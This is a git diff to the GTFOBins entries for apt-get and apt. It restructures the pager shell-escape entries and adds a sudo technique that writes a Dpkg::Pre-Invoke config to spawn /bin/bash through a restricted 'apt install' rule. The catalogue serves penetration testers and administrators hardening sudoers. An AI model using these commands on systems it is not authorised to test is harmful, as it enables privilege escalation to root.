diff --git a/_gtfobins/apt-get.md b/_gtfobins/apt-get.md
index c4b035d..92519c6 100644
--- a/_gtfobins/apt-get.md
+++ b/_gtfobins/apt-get.md
@@ -1,12 +1,17 @@
 ---
-description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
 functions:
   shell:
-    - code: |
+    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
+      code: |
         apt-get changelog apt
         !/bin/sh
   sudo:
-    - code: |
+    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
+      code: |
         sudo apt-get changelog apt
         !/bin/sh
+    - description: 'Sometimes, only some subcommands of `apt-get` are enabled by sysadmin in the sudoers file. When only `apt-get install *` is allowed, you can use:'
+      code: |
+        echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf
+        sudo apt-get install -c ./test.conf sl
 ---
diff --git a/_gtfobins/apt.md b/_gtfobins/apt.md
index c4b035d..823b523 100644
--- a/_gtfobins/apt.md
+++ b/_gtfobins/apt.md
@@ -1,12 +1,17 @@
 ---
-description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
 functions:
   shell:
-    - code: |
+    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
+      code: |
         apt-get changelog apt
         !/bin/sh
   sudo:
-    - code: |
+    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
+      code: |
         sudo apt-get changelog apt
         !/bin/sh
+    - description: 'Sometimes, only some subcommands of `apt` are enabled by sysadmin in the sudoers file. When only `apt install *` is allowed, you can use:'
+      code: |
+        echo 'Dpkg::Pre-Invoke {"/bin/bash";};' > test.conf
+        sudo apt install -c ./test.conf sl
 ---